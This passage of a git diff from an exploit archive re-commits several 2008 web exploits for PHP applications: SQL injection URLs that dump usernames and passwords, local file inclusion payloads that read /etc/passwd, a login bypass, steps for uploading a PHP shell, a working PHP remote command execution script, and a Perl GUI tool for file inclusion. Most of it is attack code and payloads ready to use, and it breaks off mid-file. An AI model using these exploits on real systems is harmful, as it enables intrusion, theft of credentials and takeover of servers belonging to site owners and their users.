- 
-thanks: str0ke
- 
-a.q kpss
-
-# milw0rm.com [2008-12-15]
+cfagcms Beta 1 sql inj.
+ 
+download: http://mesh.dl.sourceforge.net/sourceforge/cfagcms/cfagcms.zip
+ 
+Discovered By: ZoRLu
+ 
+z0rlu.blogspot.com
+ 
+trt-turk@hotmail.com    
+ 
+date: 23.10.2008
+ 
+N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
+------------------------------------------------------------------
+ 
+exploit:
+ 
+http://localhost/cfagcms/right.php?title=[SQL]
+ 
+[SQL]=
+ 
+ZoRLu'+union+select+0,concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28/*
+ 
+------------------------------------------------------------------
+ 
+thanks: str0ke
+ 
+a.q kpss
+
+# milw0rm.com [2008-12-15]
diff --git a/platforms/php/webapps/7502.txt b/platforms/php/webapps/7502.txt
index 5d0967027..d1b3ca579 100755
--- a/platforms/php/webapps/7502.txt
+++ b/platforms/php/webapps/7502.txt
@@ -1,32 +1,32 @@
-###############################################################
-#
-#           r.cms V2 - Multiple SQL Injection Vulnerabilities 
-#                                                             
-#      Vulnerability discovered by: Lidloses_Auge             
-#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
-#                                   Palme, GPM, Free-Hack
-#      Date:                        16.12.2008
-#
-###############################################################
-#                                                             
-#      Admin Panel: [Target]/rcms/
-#      Description: Almost every GET parameter is vulnerable
-#      				to SQL Injection, so i won't list 'em all.
-#					There are two possible tables which contain
-#					user data, depending on the CMS version.
-#					Table:
-#						rcmsv2
-#					or:
-#						rcms
-#
-#					The Columns for username and password are:
-#						username
-#						userpassword
-#                                                             
-###############################################################
-
-http://xxx/index.php?id=1+union+select+1,2,3,4,5,concat(username,0x3a,userpassword),7,8,9+from+rcmsv2_user/*
-http://xxx/referenzdetail.php?id=-6+union+select+1,2,3,4,5,6,concat(username,0x3a,userpassword),8,9,10,11+from+rcms_user/*
-http://xxx/produkte.php?id=-2+union+select+1,2,3,4,5,6,7,8,concat(username,0x3a,userpassword),10,11+from+rcmsv2_user/*
-
-# milw0rm.com [2008-12-17]
+###############################################################
+#
+#           r.cms V2 - Multiple SQL Injection Vulnerabilities 
+#                                                             
+#      Vulnerability discovered by: Lidloses_Auge             
+#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
+#                                   Palme, GPM, Free-Hack
+#      Date:                        16.12.2008
+#
+###############################################################
+#                                                             
+#      Admin Panel: [Target]/rcms/
+#      Description: Almost every GET parameter is vulnerable
+#      				to SQL Injection, so i won't list 'em all.
+#					There are two possible tables which contain
+#					user data, depending on the CMS version.
+#					Table:
+#						rcmsv2
+#					or:
+#						rcms
+#
+#					The Columns for username and password are:
+#						username
+#						userpassword
+#                                                             
+###############################################################
+
+http://xxx/index.php?id=1+union+select+1,2,3,4,5,concat(username,0x3a,userpassword),7,8,9+from+rcmsv2_user/*
+http://xxx/referenzdetail.php?id=-6+union+select+1,2,3,4,5,6,concat(username,0x3a,userpassword),8,9,10,11+from+rcms_user/*
+http://xxx/produkte.php?id=-2+union+select+1,2,3,4,5,6,7,8,concat(username,0x3a,userpassword),10,11+from+rcmsv2_user/*
+
+# milw0rm.com [2008-12-17]
diff --git a/platforms/php/webapps/7510.txt b/platforms/php/webapps/7510.txt
index 7737891b6..91af668b2 100755
--- a/platforms/php/webapps/7510.txt
+++ b/platforms/php/webapps/7510.txt
@@ -1,95 +1,95 @@
-[START]
-
-#########################################################################################
-[0x01] Informations:
-
-Script         : 2532|Gigs v1.2 Stable
-Download       : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
-Dork           : Powered by 2532|Gigs v1.2.2
-Vulnerability  : Local File Inclusion / Remote File Upload
-Author         : Osirys
-Contact        : osirys[at]live[dot]it
-Website        : http://osirys.org
-Notes          : Proud to be Italian
-Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
-
-
-#########################################################################################
-[0x02] Bug: [Multiple Local File Inclusions]
-######
-
-Bugged file is: /[path]/settings.php
-Bugged file is: /[path]/deleteuser.php
-Bugged file is: /[path]/mini_calendar.php
-Bugged file is: /[path]/manage_venues.php
-Bugged file is: /[path]/manage_gigs.php
-
-* There are a lot of other files vulnerable to LFI !
-
-[CODE]
-
-<?php
-/*
-2532|Gigs v1.1
-www.2532gigs.com
-./settings.php
-*/
-
-  // Load the settings.php language file
-  include_once("languages/$language/settings.php");
-
-[/CODE]
-
-settings.php page starts in this way. Includes a non declarate variable -> $language
-
-[!] FIX: Declare $language var.
-
-
-[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
-[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
-[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
-[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
-[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
-                                           ../../../../../../../../../../etc/passwd%00
-
-
-#########################################################################################
-[0x03] Bug: [Remote File Upload]
-######
-
-Bugged file is: /[path]/upload_flyer.php
-
-[CODE]
-
-if (isset($_POST['submitflyer']))
-   {
-   if (strlen($_FILES['banner']['name']) > 0)
-{
-$target = "flyers/".$_FILES['banner']['name'];
-move_uploaded_file($_FILES['banner']['tmp_name'], $target);
-
-// Other code, like it cheeks if /[path]/flyers dir is writable or not !
-
-[/CODE]
-
-As we can see, everyone can upload everything that he wants. There is not login required,
-and there isn't a cheek for the extension of the file that is going to be uploaded.
-So, an unregistered user can upload a file of any extension, like a .php file. Why not
-a php shell ?
-
-[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
-         only to upload .gif/jpg or the extension you want, not .php or other extensions !
-
-
-[!] EXPLOIT:
-             1) Go to: /path/upload_flyer.php
-             2) Select your local file to upload
-             3) Press submit button
-             4) Cheek your file at: /[path]/flyers/your_local_file.your_extension
-
-
-#########################################################################################
-
-[/END]
-
-# milw0rm.com [2008-12-18]
+[START]
+
+#########################################################################################
+[0x01] Informations:
+
+Script         : 2532|Gigs v1.2 Stable
+Download       : http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
+Dork           : Powered by 2532|Gigs v1.2.2
+Vulnerability  : Local File Inclusion / Remote File Upload
+Author         : Osirys
+Contact        : osirys[at]live[dot]it
+Website        : http://osirys.org
+Notes          : Proud to be Italian
+Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX
+
+
+#########################################################################################
+[0x02] Bug: [Multiple Local File Inclusions]
+######
+
+Bugged file is: /[path]/settings.php
+Bugged file is: /[path]/deleteuser.php
+Bugged file is: /[path]/mini_calendar.php
+Bugged file is: /[path]/manage_venues.php
+Bugged file is: /[path]/manage_gigs.php
+
+* There are a lot of other files vulnerable to LFI !
+
+[CODE]
+
+<?php
+/*
+2532|Gigs v1.1
+www.2532gigs.com
+./settings.php
+*/
+
+  // Load the settings.php language file
+  include_once("languages/$language/settings.php");
+
+[/CODE]
+
+settings.php page starts in this way. Includes a non declarate variable -> $language
+
+[!] FIX: Declare $language var.
+
+
+[!] EXPLOIT: /[path]/settings.php?language=[local_file_to_include]
+[!] EXPLOIT: /[path]/deleteuser.php?language=[local_file_to_include]
+[!] EXPLOIT: /[path]/mini_calendar?language=[local_file_to_include]
+[!] EXPLOIT: /[path]/manage_venues.php?language=[local_file_to_include]
+[!] EXPLOIT: /[path]/manage_gigs.php?language=[local_file_to_include]
+                                           ../../../../../../../../../../etc/passwd%00
+
+
+#########################################################################################
+[0x03] Bug: [Remote File Upload]
+######
+
+Bugged file is: /[path]/upload_flyer.php
+
+[CODE]
+
+if (isset($_POST['submitflyer']))
+   {
+   if (strlen($_FILES['banner']['name']) > 0)
+{
+$target = "flyers/".$_FILES['banner']['name'];
+move_uploaded_file($_FILES['banner']['tmp_name'], $target);
+
+// Other code, like it cheeks if /[path]/flyers dir is writable or not !
+
+[/CODE]
+
+As we can see, everyone can upload everything that he wants. There is not login required,
+and there isn't a cheek for the extension of the file that is going to be uploaded.
+So, an unregistered user can upload a file of any extension, like a .php file. Why not
+a php shell ?
+
+[!] FIX: Before the upload script, just cheek if the user is registered, and then allow him
+         only to upload .gif/jpg or the extension you want, not .php or other extensions !
+
+
+[!] EXPLOIT:
+             1) Go to: /path/upload_flyer.php
+             2) Select your local file to upload
+             3) Press submit button
+             4) Cheek your file at: /[path]/flyers/your_local_file.your_extension
+
+
+#########################################################################################
+
+[/END]
+
+# milw0rm.com [2008-12-18]
diff --git a/platforms/php/webapps/7511.txt b/platforms/php/webapps/7511.txt
index e71349c2d..f58691b3a 100755
--- a/platforms/php/webapps/7511.txt
+++ b/platforms/php/webapps/7511.txt
@@ -1,30 +1,30 @@
-/* ------------------------------------------------------------------------------------------------
- * 2532|Gigs 1.2.2 Stable Remote Login Bypass Vulnerability
- * ------------------------------------------------------------------------------------------------
- * by athos - staker[at]hotmail[dot]it
- * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
- * ------------------------------------------------------------------------------------------------
- * File Vuln checkuser.php
- *
- * 16. $username = $_POST['username'];
- * 17. $password = $_POST['password'];
- * ... 
- * 41. $query = "SELECT * FROM $dbt_users WHERE username = '$username' AND password = '$password'" ;
- * 42. $result = mysql_query($query) or die ( "Error in query: $query. " . mysql_error() );
- * ------------------------------------------------------------------------------------------------
- * Exploit
- *
- * http://[host]/[path]/index.php?id=login
- * 
- * Username: [username]
- * Password: [' or 1=1--]
- * ------------------------------------------------------------------------------------------------
- * Fix (Examples)
- *  
- * $username = mysql_real_escape_string($_POST['username']); 
- * $password = mysql_real_escape_string($_POST['password']);
- * 
- * ------------------------------------------------------------------------------------------------
- */
-
-# milw0rm.com [2008-12-18]
+/* ------------------------------------------------------------------------------------------------
+ * 2532|Gigs 1.2.2 Stable Remote Login Bypass Vulnerability
+ * ------------------------------------------------------------------------------------------------
+ * by athos - staker[at]hotmail[dot]it
+ * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
+ * ------------------------------------------------------------------------------------------------
+ * File Vuln checkuser.php
+ *
+ * 16. $username = $_POST['username'];
+ * 17. $password = $_POST['password'];
+ * ... 
+ * 41. $query = "SELECT * FROM $dbt_users WHERE username = '$username' AND password = '$password'" ;
+ * 42. $result = mysql_query($query) or die ( "Error in query: $query. " . mysql_error() );
+ * ------------------------------------------------------------------------------------------------
+ * Exploit
+ *
+ * http://[host]/[path]/index.php?id=login
+ * 
+ * Username: [username]
+ * Password: [' or 1=1--]
+ * ------------------------------------------------------------------------------------------------
+ * Fix (Examples)
+ *  
+ * $username = mysql_real_escape_string($_POST['username']); 
+ * $password = mysql_real_escape_string($_POST['password']);
+ * 
+ * ------------------------------------------------------------------------------------------------
+ */
+
+# milw0rm.com [2008-12-18]
diff --git a/platforms/php/webapps/7512.php b/platforms/php/webapps/7512.php
index aded9f696..68c56981e 100755
--- a/platforms/php/webapps/7512.php
+++ b/platforms/php/webapps/7512.php
@@ -1,95 +1,95 @@
-<?php
-
-
-/* ----------------------------------------------------------------
- * 2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
- * ----------------------------------------------------------------
- * by athos - staker[at]hotmail[dot]it 
- * works regardless php.ini settings
- * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
- * ----------------------------------------------------------------
- * Code Details (calcss_edit.php)
- *  
- * 1. <?php
- * 2. ...
- * 12. sleep(2);
- * 13. $id = $_POST["id"];
- * 14. $content = $_POST["content"];
- * 15. //lets write the updated CSS file
- * 16. $filename = "css/calendar.css";
- * 17. $theText = stripslashes($content);
- * 18. $data = fopen($filename, "w");
- * 19. fwrite($data,$content);
- * 20. fclose($data);
- * 21. // display the new css file
- * 22. include("css/calendar.css");
- * 23 ?>
- * ----------------------------------------------------------------
- * Fix
- * 
- * <?php
- * 
- * if(eregi('calcss_edit.php',$_SERVER['PHP-SELF']))
- * {
- *      die("Access Not Allowed");
- * }
- * 
- * ...
- * ?>
- * 
- */
-
-
-
-error_reporting(0);
-
-$host = explode('/',$argv[1]);
-$exec = $argv[2] or usage();
-
-
-$sock = fsockopen($host[0],80);
-
-$post = "content=<?php passthru('{$exec}');?>";
-$leng = strlen($post);
-
-$data = "POST /{$host[1]}/calcss_edit.php HTTP/1.1\r\n".
-        "Host: {$host[0]}\r\n".
-        "User-Agent: Lynx (textmode)\r\n".
-        "Content-Type: application/x-www-form-urlencoded\r\n".
-        "Accept-Encoding: text/plain\r\n".
-        "Content-Length: {$leng}\r\n\r\n{$post}\r\n\r\n";
-
-fputs($sock,$data);
-
-while(!feof($sock)) {
-$html .= fgets($sock);
-} fclose($sock);
-
-echo $html; 
-
-
-
-function usage() {
-
-
-print_r('
--------------------------------------------------------
-2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
--------------------------------------------------------
-by athos - staker[at]hotmail[dot]it
-works regardless php.ini settings
-
-Usage: php xpl.php [host/path] [command]
-       php xpl.php localhost/cms cat ../../../etc/passwd
-       php xpl.php localhost/cms "uname -a"
-       
-'); exit(0);
-
-
-
-}
-
-
-?>
-
-# milw0rm.com [2008-12-18]
+<?php
+
+
+/* ----------------------------------------------------------------
+ * 2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
+ * ----------------------------------------------------------------
+ * by athos - staker[at]hotmail[dot]it 
+ * works regardless php.ini settings
+ * http://www.hotscripts.com/jump.php?listing_id=65863&jump_type=1
+ * ----------------------------------------------------------------
+ * Code Details (calcss_edit.php)
+ *  
+ * 1. <?php
+ * 2. ...
+ * 12. sleep(2);
+ * 13. $id = $_POST["id"];
+ * 14. $content = $_POST["content"];
+ * 15. //lets write the updated CSS file
+ * 16. $filename = "css/calendar.css";
+ * 17. $theText = stripslashes($content);
+ * 18. $data = fopen($filename, "w");
+ * 19. fwrite($data,$content);
+ * 20. fclose($data);
+ * 21. // display the new css file
+ * 22. include("css/calendar.css");
+ * 23 ?>
+ * ----------------------------------------------------------------
+ * Fix
+ * 
+ * <?php
+ * 
+ * if(eregi('calcss_edit.php',$_SERVER['PHP-SELF']))
+ * {
+ *      die("Access Not Allowed");
+ * }
+ * 
+ * ...
+ * ?>
+ * 
+ */
+
+
+
+error_reporting(0);
+
+$host = explode('/',$argv[1]);
+$exec = $argv[2] or usage();
+
+
+$sock = fsockopen($host[0],80);
+
+$post = "content=<?php passthru('{$exec}');?>";
+$leng = strlen($post);
+
+$data = "POST /{$host[1]}/calcss_edit.php HTTP/1.1\r\n".
+        "Host: {$host[0]}\r\n".
+        "User-Agent: Lynx (textmode)\r\n".
+        "Content-Type: application/x-www-form-urlencoded\r\n".
+        "Accept-Encoding: text/plain\r\n".
+        "Content-Length: {$leng}\r\n\r\n{$post}\r\n\r\n";
+
+fputs($sock,$data);
+
+while(!feof($sock)) {
+$html .= fgets($sock);
+} fclose($sock);
+
+echo $html; 
+
+
+
+function usage() {
+
+
+print_r('
+-------------------------------------------------------
+2532|Gigs 1.2.2 Stable Remote Command Execution Exploit
+-------------------------------------------------------
+by athos - staker[at]hotmail[dot]it
+works regardless php.ini settings
+
+Usage: php xpl.php [host/path] [command]
+       php xpl.php localhost/cms cat ../../../etc/passwd
+       php xpl.php localhost/cms "uname -a"
+       
+'); exit(0);
+
+
+
+}
+
+
+?>
+
+# milw0rm.com [2008-12-18]
diff --git a/platforms/php/webapps/7603.txt b/platforms/php/webapps/7603.txt
index cd75812dc..5632ffca0 100755
--- a/platforms/php/webapps/7603.txt
+++ b/platforms/php/webapps/7603.txt
@@ -1,30 +1,30 @@
- _____   ____   __   __     _       ____        ____    ____ 
-|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
-  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
-  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
-  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
-
-
-
-eDNews v2 (lg) Local File Inclusion Vulnerability
-Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
-Poc : /eDNews_archive.php?lg=../../../../index
-Vuln Code :
-File eDNews_archive.php
-
-require_once dirname( __FILE__ ).'/myConfig.php';<< 1
-require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2
-
-File myConfig.php
-
-if ( isset( $_REQUEST['lg'] ) ) { 
-    $CONFIG['language'] = $_REQUEST['lg']; 
-
-        ____           _           _           __  __ 
-       / ___|   ___   | |       __| |         |  \/  |
-      | |  _   / _ \  | |      / _` |         | |\/| |
-      | |_| | | (_) | | |___  | (_| |         | |  | |
-       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
-                                      |_____|         
-
-# milw0rm.com [2008-12-29]
+ _____   ____   __   __     _       ____        ____    ____ 
+|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
+  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
+  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
+  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
+
+
+
+eDNews v2 (lg) Local File Inclusion Vulnerability
+Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDNews_v2.zip
+Poc : /eDNews_archive.php?lg=../../../../index
+Vuln Code :
+File eDNews_archive.php
+
+require_once dirname( __FILE__ ).'/myConfig.php';<< 1
+require_once dirname( __FILE__ ).'/languages/'.$CONFIG['language'].'.php'; << 2
+
+File myConfig.php
+
+if ( isset( $_REQUEST['lg'] ) ) { 
+    $CONFIG['language'] = $_REQUEST['lg']; 
+
+        ____           _           _           __  __ 
+       / ___|   ___   | |       __| |         |  \/  |
+      | |  _   / _ \  | |      / _` |         | |\/| |
+      | |_| | | (_) | | |___  | (_| |         | |  | |
+       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
+                                      |_____|         
+
+# milw0rm.com [2008-12-29]
diff --git a/platforms/php/webapps/7604.txt b/platforms/php/webapps/7604.txt
index c1575ccf2..36869f760 100755
--- a/platforms/php/webapps/7604.txt
+++ b/platforms/php/webapps/7604.txt
@@ -1,26 +1,26 @@
- _____   ____   __   __     _       ____        ____    ____ 
-|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
-  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
-  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
-  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
-
-
-
-eDContainer v2.22 (lg) Local File Inclusion Vulnerability
-Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDContainer_v222.zip
-Poc : /index.php?lg=../../../../index
-Vuln Code :
-File index.php
-
-if ( isset($_REQUEST['lg']) ) { $INDEX['currentLanguage'] = $_REQUEST['lg']; } else if ( !isset( $INDEX['currentLanguage'] ) ) { 
- 	$INDEX['currentLanguage']  = $CONFIG['language']['default'];
-}
-require_once 'myContents_'.$INDEX['currentLanguage'].'.php';
-        ____           _           _           __  __ 
-       / ___|   ___   | |       __| |         |  \/  |
-      | |  _   / _ \  | |      / _` |         | |\/| |
-      | |_| | | (_) | | |___  | (_| |         | |  | |
-       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
-                                      |_____|         
-
-# milw0rm.com [2008-12-29]
+ _____   ____   __   __     _       ____        ____    ____ 
+|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
+  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
+  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
+  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
+
+
+
+eDContainer v2.22 (lg) Local File Inclusion Vulnerability
+Script : http://www.mirrorservice.org/sites/download.sourceforge.net/pub/sourceforge/e/ed/edscontacts/eDContainer_v222.zip
+Poc : /index.php?lg=../../../../index
+Vuln Code :
+File index.php
+
+if ( isset($_REQUEST['lg']) ) { $INDEX['currentLanguage'] = $_REQUEST['lg']; } else if ( !isset( $INDEX['currentLanguage'] ) ) { 
+ 	$INDEX['currentLanguage']  = $CONFIG['language']['default'];
+}
+require_once 'myContents_'.$INDEX['currentLanguage'].'.php';
+        ____           _           _           __  __ 
+       / ___|   ___   | |       __| |         |  \/  |
+      | |  _   / _ \  | |      / _` |         | |\/| |
+      | |_| | | (_) | | |___  | (_| |         | |  | |
+       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
+                                      |_____|         
+
+# milw0rm.com [2008-12-29]
diff --git a/platforms/php/webapps/7619.txt b/platforms/php/webapps/7619.txt
index 38d77495e..14a08aabf 100755
--- a/platforms/php/webapps/7619.txt
+++ b/platforms/php/webapps/7619.txt
@@ -1,31 +1,31 @@
-  #######################################################################################
-  #                                                                                     #
-  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
-  #######################################################################################
-Virangar Security Team
-www.virangar.net
---------
-Discoverd By :virangar security team(hadihadi)
-special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
-& all virangar members & all hackerz
-greetz:to my best friend in the world hadi_aryaie2004
-& my lovely friend arash(imm02tal)
--------
-vuln code in eDNews_view.php:
-line 22-23:
-if ( isset( $_REQUEST['newsid'] ) ) {
- ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
-....
-line 42-46:
-$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
-$arr_from = array($CONFIG['table']);
-$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
-$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
-$arr_rst = $eDQuery_->getRecords();
----
-exploit:
-http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
--------
-young iranian h4ck3rz
-
-# milw0rm.com [2008-12-29]
+  #######################################################################################
+  #                                                                                     #
+  #                 ...:::::eDNews v2 SQL Injection Vulnerability::::....               #          
+  #######################################################################################
+Virangar Security Team
+www.virangar.net
+--------
+Discoverd By :virangar security team(hadihadi)
+special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra
+& all virangar members & all hackerz
+greetz:to my best friend in the world hadi_aryaie2004
+& my lovely friend arash(imm02tal)
+-------
+vuln code in eDNews_view.php:
+line 22-23:
+if ( isset( $_REQUEST['newsid'] ) ) {
+ ${$CONFIG['fld_id']} = $_REQUEST['newsid'];
+....
+line 42-46:
+$arr_select = array( $CONFIG['fld_id'], ''.$CONFIG['fld_title'].'', ''.$CONFIG['fld_content'].'',''.$CONFIG['fld_dateCreated'].'',''.$CONFIG['fld_score'] .'');
+$arr_from = array($CONFIG['table']);
+$where = $CONFIG['fld_id'].' = '.${$CONFIG['fld_id']};
+$eDQuery_ = new edQuery( $dblink, $CONFIG['db'], $arr_from, $arr_select, $where, null, 'extended', $CONFIG['debug'], null, '1' );
+$arr_rst = $eDQuery_->getRecords();
+---
+exploit:
+http://site.com/eDNews_view.php?newsid=-99/**/union/**/select/**/1,2,concat(user(),0x3a,version(),0x3e,database()),4,5/*
+-------
+young iranian h4ck3rz
+
+# milw0rm.com [2008-12-29]
diff --git a/platforms/php/webapps/7658.pl b/platforms/php/webapps/7658.pl
index 347cacb77..9e4e15776 100755
--- a/platforms/php/webapps/7658.pl
+++ b/platforms/php/webapps/7658.pl
@@ -1,149 +1,149 @@
-#!/usr/bin/perl
-# PNphpBB2 <= 1.2i (ModName) Multiple LFI Exploit
-# by athos - staker[at]hotmail[dot]it
-
-use strict;
-use LWP::Simple;
-use Tk;
-
-my ($host,$file,$about);
-
-my $poc = "PNphpBB2 <= 1.2i (ModName) Multiple LFI Exploit";
-my $obj = new MainWindow(-background => '#E4E4E4');
-
-$obj->title($poc);
-$obj->minsize(500,200);
-$obj->maxsize(500,200);
-
-text('Host/Path (ex: http://localhost/cms)');
-input1();
-text('Local File (ex: ../../../../../etc/passwd');
-input2();
-button();
-Button();
-
-print $host;
-
-sub text {
-   
-   my $load = undef;
-   my $text = shift;
-   
-   $load = $obj->Label(
-                  -text  => $text,
-                  -font  => 'monospace 8',
-                  -foreground   => '#000000',
-                  -background   => '#E4E4E4',
-                )->pack(-anchor => 'n');
-   return $load;           
-}
-
-
-sub input1 {
-   
-   return $obj->Entry(
-                  -textvariable => \$host,
-                  -font         => 'monospace 8',
-                  -foreground   => '#000000',
-                  -background   => '#E4E4E4',
-                  )->pack(-anchor => 'n');
-   
-}
-
-
-sub input2 {
-   
-   return $obj->Entry(
-                  -textvariable => \$file,
-                  -font         => 'monospace 8',
-                  -foreground   => '#000000',
-                  -background   => '#E4E4E4',
-                  )->pack(-anchor => 'n');
-   
-}
-
-sub button {
-
-   return $obj->Button(
-                -text    => 'Exploit',
-                -font    => 'monospace 8',
-                -foreground   => '#000000',
-                -background   => '#E4E4E4',
-                -command => sub { exploit(); }
-               )->pack(-anchor => 'n');
-}
-
-sub Button {
-   
-   return $obj->Button(
-                -text    => 'Credits',
-                -font    => 'monospace 8',
-                -foreground   => '#000000',
-                -background   => '#E4E4E4',
-                -command => sub { about(); }
-               )->pack(-anchor => 'n');
-}
-
-sub exploit {
-   
-   my $enum = 0;
-   my @path = (
-             '/admin/admin_words.php?ModName=',
-             '/admin/admin_groups_reapir.php?ModName=',
-             '/admin/admin_smilies.php?ModName=',
-             '/admin/admin_ranks.php?ModName=',
-             '/admin/admin_styles.php?ModName=',
-             '/admin/admin_users.php?ModName=',
-           );  
-   
-   if(get($path[$enum]) =~ /no such file/i) {
-      $enum++;
-   }
-   else {
-      window(get($host.$path[$enum].$file.'%00'));
-   }            
-}
-
-
-sub window {
-   
-   my $A = shift;
-   my $T = new MainWindow(-background => '#E4E4E4');
-   
-   $T->title('Exploit Content');
-   
-   return $T->Label(
-              -text       => $A,
-              -font       => 'monospace 8',
-              -background => '#E4E4E4',
-              -foreground => '#000000',
-            )->pack(-anchor => 'n');  
-}            
-
-sub about {
-   
-   $about .= $poc;
-   $about .= "\nby athos - staker[at]hotmail[dot]it\r";
-   $about .= "\ndownload on http://www.pnphpbb.com\r";
-   $about .= "\nregister globals  = 1\r";
-   $about .= "\nmagic quotes gpc = 0\r\n";
-   
-   my $H = new MainWindow(-background => '#E4E4E4');
-   
-   $H->title('About');
-   $H->minsize(500,200);
-   $H->maxsize(500,200);
-   
-   return $H->Label(
-              -text       => $about,
-              -font       => 'monospace 8',
-              -background => '#E4E4E4',
-              -foreground => '#000000',
-            )->pack(-anchor => 'n');
-}
-
-
-
-MainLoop;
-
-# milw0rm.com [2009-01-04]
+#!/usr/bin/perl
+# PNphpBB2 <= 1.2i (ModName) Multiple LFI Exploit
+# by athos - staker[at]hotmail[dot]it
+
+use strict;
+use LWP::Simple;
+use Tk;
+
+my ($host,$file,$about);
+
+my $poc = "PNphpBB2 <= 1.2i (ModName) Multiple LFI Exploit";
+my $obj = new MainWindow(-background => '#E4E4E4');
+
+$obj->title($poc);
+$obj->minsize(500,200);
+$obj->maxsize(500,200);
+
+text('Host/Path (ex: http://localhost/cms)');
+input1();
+text('Local File (ex: ../../../../../etc/passwd');
+input2();
+button();
+Button();
+
+print $host;
+
+sub text {
+   
+   my $load = undef;
+   my $text = shift;
+   
+   $load = $obj->Label(
+                  -text  => $text,
+                  -font  => 'monospace 8',
+                  -foreground   => '#000000',
+                  -background   => '#E4E4E4',
+                )->pack(-anchor => 'n');
+   return $load;           
+}
+
+
+sub input1 {
+   
+   return $obj->Entry(
+                  -textvariable => \$host,
+                  -font         => 'monospace 8',
+                  -foreground   => '#000000',
+                  -background   => '#E4E4E4',
+                  )->pack(-anchor => 'n');
+   
+}
+
+
+sub input2 {
+   
+   return $obj->Entry(
+                  -textvariable => \$file,
+                  -font         => 'monospace 8',
+                  -foreground   => '#000000',
+                  -background   => '#E4E4E4',
+                  )->pack(-anchor => 'n');
+   
+}
+
+sub button {
+
+   return $obj->Button(
+                -text    => 'Exploit',
+                -font    => 'monospace 8',
+                -foreground   => '#000000',
+                -background   => '#E4E4E4',
+                -command => sub { exploit(); }
+               )->pack(-anchor => 'n');
+}
+
+sub Button {
+   
+   return $obj->Button(
+                -text    => 'Credits',
+                -font    => 'monospace 8',
+                -foreground   => '#000000',
+                -background   => '#E4E4E4',
+                -command => sub { about(); }
+               )->pack(-anchor => 'n');
+}
+
+sub exploit {
+   
+   my $enum = 0;
+   my @path = (
+             '/admin/admin_words.php?ModName=',
+             '/admin/admin_groups_reapir.php?ModName=',
+             '/admin/admin_smilies.php?ModName=',
+             '/admin/admin_ranks.php?ModName=',
+             '/admin/admin_styles.php?ModName=',
+             '/admin/admin_users.php?ModName=',
+           );  
+   
+   if(get($path[$enum]) =~ /no such file/i) {
+      $enum++;
+   }
+   else {
+      window(get($host.$path[$enum].$file.'%00'));
+   }            
+}
+
+
+sub window {
+   
+   my $A = shift;
+   my $T = new MainWindow(-background => '#E4E4E4');
+   
+   $T->title('Exploit Content');
+   
+   return $T->Label(
+              -text       => $A,
+              -font       => 'monospace 8',
+              -background => '#E4E4E4',
+              -foreground => '#000000',
+            )->pack(-anchor => 'n');  
+}            
+
+sub about {
+   
+   $about .= $poc;
+   $about .= "\nby athos - staker[at]hotmail[dot]it\r";
+   $about .= "\ndownload on http://www.pnphpbb.com\r";
+   $about .= "\nregister globals  = 1\r";
+   $about .= "\nmagic quotes gpc = 0\r\n";
+   
+   my $H = new MainWindow(-background => '#E4E4E4');
+   
